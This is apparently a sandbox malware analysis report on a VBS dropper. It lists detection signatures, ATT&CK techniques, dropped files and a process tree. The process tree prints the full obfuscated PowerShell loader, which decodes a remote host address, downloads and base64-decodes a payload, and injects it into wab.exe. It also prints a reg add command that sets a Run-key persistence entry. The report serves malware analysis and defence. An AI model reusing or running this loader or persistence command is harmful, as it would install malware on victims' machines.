b300e18bf2da85f573018efd066241135b68e8097fedf22160cdf9c1eafd47dc

Analysis

max time kernel
44s
max time network
59s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
17/04/2024, 12:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
Ponuda_SKMTBH365756867868855766786686.vbs
Size 16KB
Sample240417-ppk3naeh82
SHA256 b300e18bf2da85f573018efd066241135b68e8097fedf22160cdf9c1eafd47dc
MD5 e2b804162dbe6b4a022fc7aa99c1b53d
SHA1 f3ad5f33d20afb27beadf7e8203d41560717e55c
SHA512 76cf5e8096a116ca0db05c60cd17a513fbd000dff7a71ce3d1edf51d96a84588bf5b95ab20dc6eab71047ee7f7b02efdb78da9127757faf5875193f0f50027aa
SSDEEP 384:LuM2XrXpz5toVZoCSsqoC8bE2XKS2DCR817e3xOu2:LtMzvoXlSsqoC8bE2ADVGa
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

persistence

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
1	4772	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-776854024-226333264-2052258302-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-776854024-226333264-2052258302-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Pecksniff = "%bulkladningernes% -w 1 $Intrapsychic=(Get-ItemProperty -Path 'HKCU:\\Samariteruddannelsen\\').Sufflrernes;%bulkladningernes% ($Intrapsychic)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
884	wab.exe
884	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3936	powershell.exe
884	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3936 set thread context of 884	3936	powershell.exe	92

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2496	reg.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4772	powershell.exe
4772	powershell.exe
3936	powershell.exe
3936	powershell.exe
3936	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3936	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4772	powershell.exe
Token: SeDebugPrivilege	3936	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
884	wab.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 4432 wrote to memory of 4772	4432	WScript.exe	84
PID 4432 wrote to memory of 4772	4432	WScript.exe	84
PID 4772 wrote to memory of 1996	4772	powershell.exe	87
PID 4772 wrote to memory of 1996	4772	powershell.exe	87
PID 4772 wrote to memory of 3936	4772	powershell.exe	89
PID 4772 wrote to memory of 3936	4772	powershell.exe	89
PID 4772 wrote to memory of 3936	4772	powershell.exe	89
PID 3936 wrote to memory of 2252	3936	powershell.exe	90
PID 3936 wrote to memory of 2252	3936	powershell.exe	90
PID 3936 wrote to memory of 2252	3936	powershell.exe	90
PID 3936 wrote to memory of 884	3936	powershell.exe	92
PID 3936 wrote to memory of 884	3936	powershell.exe	92
PID 3936 wrote to memory of 884	3936	powershell.exe	92
PID 3936 wrote to memory of 884	3936	powershell.exe	92
PID 3936 wrote to memory of 884	3936	powershell.exe	92
PID 884 wrote to memory of 2424	884	wab.exe	93
PID 884 wrote to memory of 2424	884	wab.exe	93
PID 884 wrote to memory of 2424	884	wab.exe	93
PID 2424 wrote to memory of 2496	2424	cmd.exe	95
PID 2424 wrote to memory of 2496	2424	cmd.exe	95
PID 2424 wrote to memory of 2496	2424	cmd.exe	95

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Ponuda_SKMTBH365756867868855766786686.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4432
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Pappea = 1;$Moodle='Substrin';$Moodle+='g';Function Enactor($Specialeffekterne){$Tilknyttendeschthyolatry=$Specialeffekterne.Length-$Pappea;For($Tilknyttendes=4; $Tilknyttendes -lt $Tilknyttendeschthyolatry; $Tilknyttendes+=(5)){$Respondence+=$Specialeffekterne.$Moodle.Invoke($Tilknyttendes, $Pappea);}$Respondence;}function Hauling($Kvarternes){. ($Forlngerledningens) ($Kvarternes);}$Uncaste132=Enactor ' C,nM T.po BahzTromiHun,lFestlBietaFili/Smyk5Bedu.B.se0D ft Anse(PeuhWA,rdiIncen RhidD kooSmkrwDistsThe OmlsNHedoTArbe Unur1 Jim0Blkk.J.rd0 Ski;,hok EfteWAtomiHovenThin6disc4Raba;m.ct Af,axEman6P ra4Bffe; Whi Getfr FluvYell:home1Beth2Nonm1 A k.Arbe0Ryge)calc Str GSupeegrancpollkGruboLev./ko d2Bol.0Lath1Raim0Bagl0bekr1 Se 0Udfy1Loss KognF,eifiKebbrNarke .ypfOpuno ,pdx Udt/Selv1Tis.2 Fre1D.gt.Bun,0 Abo ';$Tannide=Enactor ' FibUGharsBremeBeaur Reg-DrueAheteg O,te.ngan rgot,ege ';$Undersold=Enactor 'R,vih SymtHvidt abupReco:Diaz/ alc/Chat8 pfi7Ad s..nde1Sub.2Neur1 epi. Pi.1 Buz0unja5Klen.R.gb1Ra,e6 Eth3 ,il/ S leFi.liFlyvv GuliBi,enDemosDelb. Bedl UdrpEl,rki,kl ';$Jaevnbyrdig=Enactor ' Ro >Soa, ';$Forlngerledningens=Enactor 'AlgaiAfdee Ar.xflot ';$oversimplify = Enactor 'BalieAp,lcVenthKommoAf.l Kup,% atiaDribpBaw p uvedSkytaFusktUndea Mon%Indb\HawaN ondoConccB notReg.uAfnarNatinIncradinelMort.WhorIW.ken F ds Ung Kom&Sump&Flip Vu,ae C,mcK,mmhFulfopred udp $Laed ';Hauling (Enactor 'nick$styrgAlmilCarpofo.ib PanaSunslRist:L.udTRecaa Mans UdstMeniacentb E.glBun.e,ncu1 Vrd1sjof9hous=Sev.(HeptcCarnmMededSnig Hkke/Forucnske Ress$,naeoStanvCarre UndrModesNeuri BiomB,dspJavalEldriF rvfSinuy int)Unbl ');Hauling (Enactor ' cox$blddgBronlRettoJoewb lskaI telTeks: KomFEnero.onar FlapStanrValuedsramSailiSedeeT.lsrhndeeFugl= For$Ma.aU .aknDa ndFemieO.ycrWatcs dogo Uppl BagdChlo.U,dss te.p,kemlDdbiicr ftRing(beba$ SkiJGurga FemeKompvBry.nFencb Y,ky ,ntrDozidExpeiNoctg D o)Scio ');$Undersold=$Forpremiere[0];Hauling (Enactor '.rig$DistgAn ilTvisoKalkb IndaBiselLeea:LeagPHje rTette,rvep ,aiuIl.unKlovcTi.khStapepored B,n=Pla.NFor ePotewNon.-LinoO Prob ResjNo,ceBaffcln,ptSowt CumeSKb,vy RemsSt.etNejseNaevmCamp. DogNOmdoe.ondt Be..KursW KiseSnoobStrmCIdeolCeleiTi.ce StinVesttZira ');Hauling (Enactor 'Trem$ UsiPManurFattebrstpMiniu thenUbunc ParhDebieMegidEk.e.Kon,H ArieKnebaFo.ed esieInddrYaposJe.p[Hom $FlyvTBobla RafnArc.nC,nfiTe.cdLapse Mac]gesa=Hort$Ra.iU N,tnSadecFo,faBetasSig,t,live el1Phot3Bret2Eggs ');$Romanceless=Enactor 'UdraPBeh,rstraeChrepKarauP.ejnParlcSclehSagseRoc dMor,. SupDDk,aoAftewKmpvn F,rl,vaco F,rasupedPa aFMariiHomolTopsecol.(Metr$A biUTitanTrredInveeMissrrrdrsN.nooUndilRbdidDefo,.hoo$ UgeRStereDietaS.shlAfsprSchieContn Br.tfli,eP yl)Tilr ';$Romanceless=$Tastable119[1]+$Romanceless;$Realrente=$Tastable119[0];Hauling (Enactor ' Ung$baltgCle.lFa.uoD pibQuada R nlTe e:DisrU.orudUn,ttPropyRetedForsestatnSelvd S reUddasGens=Cant(LudiTG nneSer,sEddet Ur -FacaPSalta,audt PhyhF gg Tjte$ Un RFrakeM,llaBr.dlAn lrScaleTontn UnbtPedaeHipp)Edi, ');while (!$Udtydendes) {Hauling (Enactor 'Inva$ghosg GenlHeadoHopkbFas aRad.lArbe:AnteSKl.bt Sk.i Fo.gVersbPrisjIntelFl ee FlanEqui=Joaq$CondtKoldrS.tuuS,rneEmba ') ;Hauling $Romanceless;Hauling (Enactor 'EndaSforntMngdaquadr Tw.tMass-re,sS MuclBud ePro,ekarrpFj,m Prog4Grun ');Hauling (Enactor ' Ref$Su,egk,mul.oeroM subB rgaTurklDr,v:In.lUKnubdrenttu,liypat,dDyreeWaten p ud,pece.atlsFast=Dime( ScrTMi.ueForfsTi,st ank-BarrP balaDgn,tB,sihSpac Bed,$ToucRUnlieSic aNepolf dnrblueeStren instwilde Ven)J,sm ') ;Hauling (Enactor 'Kuld$Misug nslSlvsoIndebHjeratimolUnsp:Rin.UTeksnKondrteg,i,unkgBlg.gKniveGiredUng.=Euro$ lyvgHypolsulpoMandbSatoaForulRedo: Fu MKursd b,kekultaWit,fSp.tt T ieI.danBlineUndenP.et+Supr+Mens%Sort$ ChrF Mu.oMicrrCa,bp Sp rMatueRatim yrei V,neSlutrRi eedu,u.IntecBitto avou G ln ClitPenm ') ;$Undersold=$Forpremiere[$Unrigged];}Hauling (Enactor ' Sea$,ogig Cabl KupoU,nibUn,eaGaldl Und:Fas.hDysleVgtsl UndvDattiSocig Rut Gasb=trac rei GOmdieCalotkvot-VattC StaoTrignAntitBogfeBenenRivetStos Vent$DekoRRvereNervaCo fl.ngerBdkeeVietnB,ketstopeBlas ');Hauling (Enactor ',rec$Ammog Ek lArbeoMeisbFo marefolTi s:Pbe.SFol.t Ek,aLovmnConvcNoneh Hone.ennlAtom1L,ns8Damp5Phon Chem=bjer nd[S.blSKnityBiogsC rat Mane .ntmDip,.TommCDataoTwelnErh.vTr.me Ek.rRibrtHand]Faku:Repr:HaliFfr.sr ConoOv rmAmfiBStyra ves.ellePuno6 Ud,4HonoSMoott BilrAdiai FornPuffg,ign(Ends$Ud oh Pr,eRimelChefvSt,miBerzgBars)Mi,d ');Hauling (Enactor 'Oari$ SmugMikkltuboo ,orb .dea AnglTved:unchA SnonSklhtHarpiFiffhtopmuAflemJe,m Hel =u,ob Hjer[N niSExpeyBrnesKalktmar.eA somunde.NonhTBer,e Resx amstSmi,.DevoEFormnG,uncReleoIndfdX noiCrosn SlugGr d]Subk:L.mb:BedvAbaptSSpooCVei,ISam.IWhic.FeltGKnuceT emt.umaS SlatDeserSeptibucknGrungHalv(Smaa$Gal,SAmtst hya Andn ftecvugghSteteV,ttl Upa1Udda8Geo 5Sve,) uld ');Hauling (Enactor 'Tent$WeltgRvhulB.ado Pegbpla,aBarkl orr:SpruPLun,e Excl F,glEnchaGradgInexr Semo GaauDuppsNonm=Poon$UndeA ictnKn,et,olei StehPaliuShiemStbe.EfflsFlsku BalbXylos sprtIndsrT.lei Frynclosgpref(Idrt3 ,ur4Inf 3Perc4 ela9Dile1Mapl, Dr 2 efr7Ni,u8,nin8Iber0 Bus)U,de ');Hauling $Pellagrous;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4772
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Nocturnal.Ins && echo $"
    3⤵
    PID:1996
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Pappea = 1;$Moodle='Substrin';$Moodle+='g';Function Enactor($Specialeffekterne){$Tilknyttendeschthyolatry=$Specialeffekterne.Length-$Pappea;For($Tilknyttendes=4; $Tilknyttendes -lt $Tilknyttendeschthyolatry; $Tilknyttendes+=(5)){$Respondence+=$Specialeffekterne.$Moodle.Invoke($Tilknyttendes, $Pappea);}$Respondence;}function Hauling($Kvarternes){. ($Forlngerledningens) ($Kvarternes);}$Uncaste132=Enactor ' C,nM T.po BahzTromiHun,lFestlBietaFili/Smyk5Bedu.B.se0D ft Anse(PeuhWA,rdiIncen RhidD kooSmkrwDistsThe OmlsNHedoTArbe Unur1 Jim0Blkk.J.rd0 Ski;,hok EfteWAtomiHovenThin6disc4Raba;m.ct Af,axEman6P ra4Bffe; Whi Getfr FluvYell:home1Beth2Nonm1 A k.Arbe0Ryge)calc Str GSupeegrancpollkGruboLev./ko d2Bol.0Lath1Raim0Bagl0bekr1 Se 0Udfy1Loss KognF,eifiKebbrNarke .ypfOpuno ,pdx Udt/Selv1Tis.2 Fre1D.gt.Bun,0 Abo ';$Tannide=Enactor ' FibUGharsBremeBeaur Reg-DrueAheteg O,te.ngan rgot,ege ';$Undersold=Enactor 'R,vih SymtHvidt abupReco:Diaz/ alc/Chat8 pfi7Ad s..nde1Sub.2Neur1 epi. Pi.1 Buz0unja5Klen.R.gb1Ra,e6 Eth3 ,il/ S leFi.liFlyvv GuliBi,enDemosDelb. Bedl UdrpEl,rki,kl ';$Jaevnbyrdig=Enactor ' Ro >Soa, ';$Forlngerledningens=Enactor 'AlgaiAfdee Ar.xflot ';$oversimplify = Enactor 'BalieAp,lcVenthKommoAf.l Kup,% atiaDribpBaw p uvedSkytaFusktUndea Mon%Indb\HawaN ondoConccB notReg.uAfnarNatinIncradinelMort.WhorIW.ken F ds Ung Kom&Sump&Flip Vu,ae C,mcK,mmhFulfopred udp $Laed ';Hauling (Enactor 'nick$styrgAlmilCarpofo.ib PanaSunslRist:L.udTRecaa Mans UdstMeniacentb E.glBun.e,ncu1 Vrd1sjof9hous=Sev.(HeptcCarnmMededSnig Hkke/Forucnske Ress$,naeoStanvCarre UndrModesNeuri BiomB,dspJavalEldriF rvfSinuy int)Unbl ');Hauling (Enactor ' cox$blddgBronlRettoJoewb lskaI telTeks: KomFEnero.onar FlapStanrValuedsramSailiSedeeT.lsrhndeeFugl= For$Ma.aU .aknDa ndFemieO.ycrWatcs dogo Uppl BagdChlo.U,dss te.p,kemlDdbiicr ftRing(beba$ SkiJGurga FemeKompvBry.nFencb Y,ky ,ntrDozidExpeiNoctg D o)Scio ');$Undersold=$Forpremiere[0];Hauling (Enactor '.rig$DistgAn ilTvisoKalkb IndaBiselLeea:LeagPHje rTette,rvep ,aiuIl.unKlovcTi.khStapepored B,n=Pla.NFor ePotewNon.-LinoO Prob ResjNo,ceBaffcln,ptSowt CumeSKb,vy RemsSt.etNejseNaevmCamp. DogNOmdoe.ondt Be..KursW KiseSnoobStrmCIdeolCeleiTi.ce StinVesttZira ');Hauling (Enactor 'Trem$ UsiPManurFattebrstpMiniu thenUbunc ParhDebieMegidEk.e.Kon,H ArieKnebaFo.ed esieInddrYaposJe.p[Hom $FlyvTBobla RafnArc.nC,nfiTe.cdLapse Mac]gesa=Hort$Ra.iU N,tnSadecFo,faBetasSig,t,live el1Phot3Bret2Eggs ');$Romanceless=Enactor 'UdraPBeh,rstraeChrepKarauP.ejnParlcSclehSagseRoc dMor,. SupDDk,aoAftewKmpvn F,rl,vaco F,rasupedPa aFMariiHomolTopsecol.(Metr$A biUTitanTrredInveeMissrrrdrsN.nooUndilRbdidDefo,.hoo$ UgeRStereDietaS.shlAfsprSchieContn Br.tfli,eP yl)Tilr ';$Romanceless=$Tastable119[1]+$Romanceless;$Realrente=$Tastable119[0];Hauling (Enactor ' Ung$baltgCle.lFa.uoD pibQuada R nlTe e:DisrU.orudUn,ttPropyRetedForsestatnSelvd S reUddasGens=Cant(LudiTG nneSer,sEddet Ur -FacaPSalta,audt PhyhF gg Tjte$ Un RFrakeM,llaBr.dlAn lrScaleTontn UnbtPedaeHipp)Edi, ');while (!$Udtydendes) {Hauling (Enactor 'Inva$ghosg GenlHeadoHopkbFas aRad.lArbe:AnteSKl.bt Sk.i Fo.gVersbPrisjIntelFl ee FlanEqui=Joaq$CondtKoldrS.tuuS,rneEmba ') ;Hauling $Romanceless;Hauling (Enactor 'EndaSforntMngdaquadr Tw.tMass-re,sS MuclBud ePro,ekarrpFj,m Prog4Grun ');Hauling (Enactor ' Ref$Su,egk,mul.oeroM subB rgaTurklDr,v:In.lUKnubdrenttu,liypat,dDyreeWaten p ud,pece.atlsFast=Dime( ScrTMi.ueForfsTi,st ank-BarrP balaDgn,tB,sihSpac Bed,$ToucRUnlieSic aNepolf dnrblueeStren instwilde Ven)J,sm ') ;Hauling (Enactor 'Kuld$Misug nslSlvsoIndebHjeratimolUnsp:Rin.UTeksnKondrteg,i,unkgBlg.gKniveGiredUng.=Euro$ lyvgHypolsulpoMandbSatoaForulRedo: Fu MKursd b,kekultaWit,fSp.tt T ieI.danBlineUndenP.et+Supr+Mens%Sort$ ChrF Mu.oMicrrCa,bp Sp rMatueRatim yrei V,neSlutrRi eedu,u.IntecBitto avou G ln ClitPenm ') ;$Undersold=$Forpremiere[$Unrigged];}Hauling (Enactor ' Sea$,ogig Cabl KupoU,nibUn,eaGaldl Und:Fas.hDysleVgtsl UndvDattiSocig Rut Gasb=trac rei GOmdieCalotkvot-VattC StaoTrignAntitBogfeBenenRivetStos Vent$DekoRRvereNervaCo fl.ngerBdkeeVietnB,ketstopeBlas ');Hauling (Enactor ',rec$Ammog Ek lArbeoMeisbFo marefolTi s:Pbe.SFol.t Ek,aLovmnConvcNoneh Hone.ennlAtom1L,ns8Damp5Phon Chem=bjer nd[S.blSKnityBiogsC rat Mane .ntmDip,.TommCDataoTwelnErh.vTr.me Ek.rRibrtHand]Faku:Repr:HaliFfr.sr ConoOv rmAmfiBStyra ves.ellePuno6 Ud,4HonoSMoott BilrAdiai FornPuffg,ign(Ends$Ud oh Pr,eRimelChefvSt,miBerzgBars)Mi,d ');Hauling (Enactor 'Oari$ SmugMikkltuboo ,orb .dea AnglTved:unchA SnonSklhtHarpiFiffhtopmuAflemJe,m Hel =u,ob Hjer[N niSExpeyBrnesKalktmar.eA somunde.NonhTBer,e Resx amstSmi,.DevoEFormnG,uncReleoIndfdX noiCrosn SlugGr d]Subk:L.mb:BedvAbaptSSpooCVei,ISam.IWhic.FeltGKnuceT emt.umaS SlatDeserSeptibucknGrungHalv(Smaa$Gal,SAmtst hya Andn ftecvugghSteteV,ttl Upa1Udda8Geo 5Sve,) uld ');Hauling (Enactor 'Tent$WeltgRvhulB.ado Pegbpla,aBarkl orr:SpruPLun,e Excl F,glEnchaGradgInexr Semo GaauDuppsNonm=Poon$UndeA ictnKn,et,olei StehPaliuShiemStbe.EfflsFlsku BalbXylos sprtIndsrT.lei Frynclosgpref(Idrt3 ,ur4Inf 3Perc4 ela9Dile1Mapl, Dr 2 efr7Ni,u8,nin8Iber0 Bus)U,de ');Hauling $Pellagrous;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3936
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Nocturnal.Ins && echo $"
      4⤵
      PID:2252
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:884
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Pecksniff" /t REG_EXPAND_SZ /d "%bulkladningernes% -w 1 $Intrapsychic=(Get-ItemProperty -Path 'HKCU:\Samariteruddannelsen\').Sufflrernes;%bulkladningernes% ($Intrapsychic)"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2424
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Pecksniff" /t REG_EXPAND_SZ /d "%bulkladningernes% -w 1 $Intrapsychic=(Get-ItemProperty -Path 'HKCU:\Samariteruddannelsen\').Sufflrernes;%bulkladningernes% ($Intrapsychic)"
        6⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:2496

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_vqkgupci.yrp.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vqkgupci.yrp.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

Nocturnal.Ins

Path C:\Users\Admin\AppData\Roaming\Nocturnal.Ins
Size 483KB
SHA256 ce9f0cf5196833d16d81f813b6caf35cb337427fd8208954f39de0f93a1be69c
MD5 6a84826def7af0eeec6ed8a883cd60a4
SHA1 1ad323d2899511b88e19b3bbafc8d1aaf9b1da16
SHA512 45223564f136524786c941edd33311e03e63abf154b40ff0af0453c9c86d01714f1c7c0df32f9a9d2000cb27e18ee6d7d46e75f8ac00557ca8bd676b0f9187b5
SSDEEP 6144:WO1ltypGsrM571wxt8mL79Wa1OA0pn6STpnjoLqa09lrZ7aBh1S+bk5OHhyDiR57:DlGGsrY1mL7tnWnJoGaw/+RS+b3+u
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/884-70-0x0000000000CF0000-0x0000000001F44000-memory.dmp

Download

memory/884-62-0x0000000000CF0000-0x0000000001F44000-memory.dmp

Download

memory/884-72-0x0000000000CF0000-0x0000000001F44000-memory.dmp

Download

memory/884-69-0x0000000000CF0000-0x0000000001F44000-memory.dmp

Download

memory/884-67-0x0000000000CF0000-0x0000000001F44000-memory.dmp

Download

memory/884-64-0x0000000000CF0000-0x0000000001F44000-memory.dmp

Download

memory/884-63-0x0000000000CF0000-0x0000000001F44000-memory.dmp

Download

memory/884-71-0x0000000000CF0000-0x0000000001F44000-memory.dmp

Download

memory/884-56-0x0000000001F50000-0x000000000546C000-memory.dmp

Download

memory/884-60-0x0000000000CF0000-0x0000000001F44000-memory.dmp

Download

memory/884-73-0x0000000000CF0000-0x0000000001F44000-memory.dmp

Download

memory/884-58-0x0000000000CF0000-0x0000000001F44000-memory.dmp

Download

memory/884-57-0x0000000077C41000-0x0000000077D61000-memory.dmp

Download

memory/884-55-0x0000000077C41000-0x0000000077D61000-memory.dmp

Download

memory/884-54-0x0000000077CC8000-0x0000000077CC9000-memory.dmp

Download

memory/3936-22-0x0000000005D10000-0x0000000005D76000-memory.dmp

Download

memory/3936-17-0x0000000002C00000-0x0000000002C36000-memory.dmp

Download

memory/3936-38-0x0000000006AD0000-0x0000000006AEA000-memory.dmp

Download

memory/3936-39-0x00000000077E0000-0x0000000007876000-memory.dmp

Download

memory/3936-40-0x0000000007770000-0x0000000007792000-memory.dmp

Download

memory/3936-41-0x00000000089C0000-0x0000000008F64000-memory.dmp

Download

memory/3936-36-0x00000000050A0000-0x00000000050B0000-memory.dmp

Download

memory/3936-16-0x0000000075220000-0x00000000759D0000-memory.dmp

Download

memory/3936-18-0x00000000050A0000-0x00000000050B0000-memory.dmp

Download

memory/3936-37-0x0000000007D90000-0x000000000840A000-memory.dmp

Download

memory/3936-19-0x00000000050A0000-0x00000000050B0000-memory.dmp

Download

memory/3936-47-0x0000000007A70000-0x0000000007A71000-memory.dmp

Download

memory/3936-48-0x0000000008F70000-0x000000000C48C000-memory.dmp

Download

memory/3936-49-0x0000000075220000-0x00000000759D0000-memory.dmp

Download

memory/3936-51-0x00000000050A0000-0x00000000050B0000-memory.dmp

Download

memory/3936-52-0x0000000077C41000-0x0000000077D61000-memory.dmp

Download

memory/3936-53-0x00000000050A0000-0x00000000050B0000-memory.dmp

Download

memory/3936-35-0x0000000006580000-0x00000000065CC000-memory.dmp

Download

memory/3936-34-0x0000000006530000-0x000000000654E000-memory.dmp

Download

memory/3936-33-0x0000000005F20000-0x0000000006274000-memory.dmp

Download

memory/3936-23-0x0000000005DF0000-0x0000000005E56000-memory.dmp

Download

memory/3936-21-0x0000000005640000-0x0000000005662000-memory.dmp

Download

memory/3936-20-0x00000000056E0000-0x0000000005D08000-memory.dmp

Download

memory/3936-61-0x0000000075220000-0x00000000759D0000-memory.dmp

Download

memory/4772-46-0x0000013B63D70000-0x0000013B63D80000-memory.dmp

Download

memory/4772-44-0x0000013B63D70000-0x0000013B63D80000-memory.dmp

Download

memory/4772-45-0x0000013B63D70000-0x0000013B63D80000-memory.dmp

Download

memory/4772-68-0x00007FFED13B0000-0x00007FFED1E71000-memory.dmp

Download

memory/4772-43-0x00007FFED13B0000-0x00007FFED1E71000-memory.dmp

Download

memory/4772-13-0x0000013B63D70000-0x0000013B63D80000-memory.dmp

Download

memory/4772-12-0x0000013B63D70000-0x0000013B63D80000-memory.dmp

Download

memory/4772-11-0x0000013B63D70000-0x0000013B63D80000-memory.dmp

Download

memory/4772-10-0x00007FFED13B0000-0x00007FFED1E71000-memory.dmp

Download

memory/4772-9-0x0000013B4B820000-0x0000013B4B842000-memory.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads